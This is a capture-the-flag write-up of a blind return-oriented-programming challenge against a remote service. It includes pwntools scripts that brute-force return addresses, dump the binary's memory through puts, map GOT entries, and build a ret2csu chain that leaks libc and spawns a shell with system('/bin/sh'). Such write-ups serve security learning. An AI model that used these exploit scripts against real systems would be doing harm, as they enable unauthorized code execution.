Hunting for eggs!!

Description

This challenge was a bit special because the binary wasn’t provided! All we were given was an IP address and a port.

When we connect to the service, we are greeted with a nice message.

Are you blind my friend?

The server then reads our answer, replies with a short message and closes the connection.

No password for you!

I tried a few inputs, but the result was always the same.

The first I tried was a format string vulnerability, but it didn’t work. I then assumed there had to be an overflow of some kind, so I tried sending gradually more caracters to the server. I determined that after sending 89 characters or more, the server didn’t respond with the second sentence. That’s a good start, because we know we have messed with the execution flow. But what have we overwritten?

A shot in the dark

I didn’t know where to start, so I tried overflowing with every byte possible and I stored the results in a JSON file.

results = {}
for i in range(0, 256):
    p = remote(HOST, PORT)
    p.recvuntil(b"Are you blind my friend?\n")
    p.send(b"a"*88 + bytes([i]))
    try:
        output = p.recvline(timeout=0.5)
        results[i] = {"output": str(output), "connected": True}
    except EOFError:
        results[i] = {"output": str(output), "connected": False}
with open("results.json", "w") as f:
    f.write(json.dumps(results))

The result was truely surprising! There were only 5 possible outputs:

  • Nothing (the program probably crashed)
  • "No password for you!"
  • "Are you blind my friend?"
  • "Do not dump my memory!"
  • 63 bytes of data, including what appeared to be stack addresses

We can deduce that we are definitely overwriting a return address. To confirm it, I bruteforced all bytes of the normal return address and got 0x00000000400713, which is in the range of a normal .text section and indicates that the binary is probably 64 bits.

From that leak, we can assume that the base address of the .text section is at 0x400000. I was curious to know if other addresses would give other outputs, so I tried them all in a small range.

with open("exploration", "w") as exfile:
    for addr in range(0x400000, 0x401000):
        exfile.write(f"{hex(addr)}: ")
        p = remote(HOST, PORT)
        p.recvuntil(b"Are you blind my friend?\n")
        p.send(b"1"*88 + p64(addr) + b"2"*256)
        output = p.recvall(timeout=1)
        if len(output) > 1:
            output = output.rstrip(b"\n")
            print_out(output)
        exfile.write(f"{str(output)}\n")

Once again, only 5 possible outputs were recorded.

Digging deeper

To make good use of our stack overflow, it would be nice to have some ROP gadgets to work with. I decided to use the few things we knew to find some. I started by taking the highest addresses where a specific string would come out. This way there would be minimal processing between the address and the printing of the string through the socket. Then, I assembled them into a small ROP chain and tried all the addresses in a small range again. Here is what the payload looked like:

- 88 bytes of garbage
- Target return address
- Address that prints "Are you blind my friend?"
- Address that prints "No password for you!"
- Address that prints "Do not dump my memory!"

The idea is that an address that initially returned nothing but now returns one of those strings is probably composed of a number of pop followed by ret, which is exactly what we are looking for.

After some processing of the result, I found that a total of 120 addresses had their output change after adding the extra addresses. Of course, when the output changed on multiple subsequent addresses, only the highest one mattered, since the lower ones only led to it. The most interesting ones were those that went from having no output to printing the first string, but also that a few addresses before printed the second string. This pattern indicates clearly that we have some pop and ret. There were 9 candidates remaining.

At first, what I aimed for was to control the 63 bytes of data that was printed on certain addresses. I figured that a leak would greatly help in reversing the binary. Since the leak contained null bytes, I figured it must be a call to write. Therefore, I was especially looking for gadgets controlling rsi to control the address of the leak.

Again, there were a few addresses leading to the data leak, so I chose the highest one, at address 0x400560, since it’s the most likely to not mess with other registers. My strategy was then to try every gadget cadidate with the leak address to find how it influenced the data printed. Here was the new ROP chain.

- 88 bytes of garbage
- Address of gadget candidate
- 0x400000
- 0x400560 (Address of leaking code)

I put the presumed base address of the binary after the gadget to have a recognizable output. It a gadget could really control the address of the printed data, I should see the string ELF in its output.

And it worked! The address 0x4007c3 made the ELF string appear! At first I was confused, because the leak was no longer 63 bytes long. This probably means that the leak function is actually a puts, and that in the normal flow of execution the write fuction was called afterwards. Therefore, the gadget at 0x4007c3 was probably a pop rdi. In any case, I had what I needed: a way to leak arbitrary data!

Exfiltration

The next step was pretty obvious. To gain more information about the binary, I decided to leak the .text section. Since puts stops once it sees a null bytes, I just had to put it in a loop.

def dump_memory(start, end):
    data = b""
    while len(data) < end - start:
        p = remote(HOST, PORT)
        p.recvuntil(b"Are you blind my friend?\n")
        p.send(b"a"*88 + p64(0x4007c3) + p64(start + len(data)) + p64(0x400560))
        output = p.recvall(timeout=1)
        output = output.rstrip(b"\n")
        if len(output) == 0:
            data += b"\x00"
        else:
            data += output
    print(data)
    print(hexlify(data))
    print(disasm(data))

I used this script to dump the first 4096 bytes of the .text section and analyzed the result in Ghidra. I was able to deduce a few things. First, the code that allowed me to leak data, situated at 0x400560, was actually just a PLT entry! It was jumping to it’s GOT entry at 0x6010181, so I knew that all GOT entries must been nearby. Secondly, the pop rdi gadget at 0x4007c3 was actually part of __libc_csu_init! That’s great news, because I can use this to craft a ret2csu payload allowing me to control all the main registers!

The case of libc

Now that I can call arbitrary functions with multiple arguments, I can try to deduce which GOT entry corresponds to which function. The function I need to find is read, which I think is used since our input was read even with newlines and null bytes. I crafted a small ret2csu payload and bruteforced the addresses in a small range.

for addr in range(0x601000, 0x601100, 8):
    print(hex(addr))
    p = remote(HOST, PORT)
    p.recvuntil(b"Are you blind my friend?\n")
    p.send(flat([
        b"a"*88,
        ret2csu1,
        0, # rbx
        1, # rbp
        addr, # r12 -> call
        8, # r13 -> rdx
        0x601000, # r14 -> rsi
        0, # r15 -> edi
        ret2csu2
    ]))
    p.interactive()

I just had to close the interactive sessions until the connection didn’t immediatly close, which happened at address 0x601028.

I now know the addresses of the read, puts and sefvbuf entries, from experimenting and from reversing the .text section. I can use the handy libc database to figure out which version of libc is used. I can even download a copy for my exploit!

Final exploit

I now have all the pieces necessary to call system(/bin/sh). I can use the pop rdi gadget with the PLT of puts to leak the base address of libc. Then, I can use ret2csu with the GOT address of read to write the string /bin/sh and a pointer to system somewhere in the BSS. Finally, I can put the address of /bin/sh in rsi and jump to system. Normally, its not trivial to make an indirect jump with a ROP chain, but that’s exactly what ret2csu does.

libc = ELF("./libc-2.23.so")
p = remote(HOST, PORT)
p.recvuntil(b"Are you blind my friend?\n")
p.send(flat([
    b"a"*88,
    # leak libc
    poprdi,
    got_puts,
    plt_puts,
    # read /bin/sh and system address
    ret2csu1,
    0, # rbx
    1, # rbp
    got_read, # r12 -> call
    16, # r13 -> rdx
    0x601100, # r14 -> rsi
    0, # r15 -> edi
    ret2csu2,
    # call system
    0, # garbage
    0, # rbx
    1, # rbp
    0x601108, # r12 -> call
    0, # r13 -> rdx
    0, # r14 -> rsi
    0x601100, # r15 -> edi
    ret2csu2
]))
libc_puts = u64(p.recvline().rstrip(b"\n").ljust(8, b"\x00"))
print(f"libc_puts @ {hex(libc_puts)}")
libc_base = libc_puts - libc.sym["puts"]
print(f"libc_base @ {hex(libc_base)}")
p.send(b"/bin/sh\x00" + p64(libc_base + libc.sym["system"]))
p.interactive()

You might think it would have been easier to simply leak ASLR and then just use the string /bin/sh already contained in libc and just pop rdi and ret to system. We didn’t have a stack address to create a second ROP chain, but we could simply have ret2main inside the vulnerable function and overflow again. Well, in that case you would be right, but somethings in the heat of action you don’t necessarily take the most direct path to success.

Flag: CTF{313f12378d33889716128e329457030182023d103ab648b072fa1e839713dab5}